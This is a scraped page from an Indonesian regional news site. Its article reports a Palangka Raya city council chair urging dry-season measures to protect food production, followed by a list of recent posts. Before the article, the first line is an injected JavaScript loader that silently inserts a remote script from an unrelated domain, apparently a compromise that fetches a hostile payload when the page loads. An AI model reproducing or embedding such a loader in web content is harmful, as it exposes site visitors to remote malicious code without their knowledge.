(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

Ketua DPRD Kota Palangka Raya Dorong Antisipasi Dampak Musim Kemarau terhadap Produksi Pangan


KANALKALIMANTAN.COM,PALANGKARAYA- Ketua Dewan Perwakilan Rakyat Daerah (DPRD) Kota Palangka Raya, Kalimantan Tengah, Sigit K Yunianto, ajukan permintaan kepada pemerintah kota setempat untuk segera mengambil langkah antisipasi terhadap dampak musim kemarau terhadap produksi pangan di daerah tersebut.

“Selain masalah karhutla, kita juga harus memperhatikan nasib petani, termasuk dampak menurunnya produksi akibat musim kemarau,” kata Sigit.

Sigit mengungkapkan Pemerintah Kota Palangka Raya, melalui sektor yang mengoordinasi, harus serius mempertimbangkan langkah-langkah antisipasi terhadap gangguan dalam produksi pangan yang mungkin timbul akibat musim kemarau. Salah satu dampak yang harus diperhatikan adalah kekeringan yang dapat menyebabkan gagal panen.

“Kami melihat ini sebagai isu yang harus mendapatkan perhatian serius dalam menghadapi musim kemarau. Perlu ada tindakan untuk mengantisipasi dampak dari kekeringan, terutama di lahan-lahan pertanian, agar produksi pertanian tetap terjaga,” katanya.

Sigit menjelaskan bahwa salah satu langkah yang dapat diambil oleh pemerintah kota untuk mengatasi kekeringan adalah menyediakan sumur bor atau meningkatkan sistem saluran air, termasuk sistem primer, skunder, dan tersier. Hal ini penting karena kondisi saluran air dapat berdampak langsung pada pasokan air ke lahan pertanian masyarakat.

“Banyak tindakan yang dapat membantu petani dalam menghadapi situasi terburuk saat musim kemarau tiba, dan ini juga untuk kesejahteraan masyarakat,” tambahnya.

Sigit menekankan bahwa menghadapi musim kemarau memerlukan tindakan konkret untuk menghindari penurunan produksi pangan, yang juga dapat berdampak pada kenaikan harga komoditas.

“Jika ada kegagalan dalam panen, itu akan memengaruhi ketersediaan pangan di pasaran dan juga akan memengaruhi harga pangan itu sendiri,” ujarnya.

Sigit berharap bahwa pemerintah kota dapat segera mengambil langkah-langkah antisipasi terhadap kemungkinan kekeringan di lahan pertanian akibat musim kemarau, dan juga mempertimbangkan opsi seperti asuransi untuk petani sebagai upaya mengurangi beban petani jika terjadi kegagalan panen.(www.kanalkalimantan.com/hms)


Muhammad Andi

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

16 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

20 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

22 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

24 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

24 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.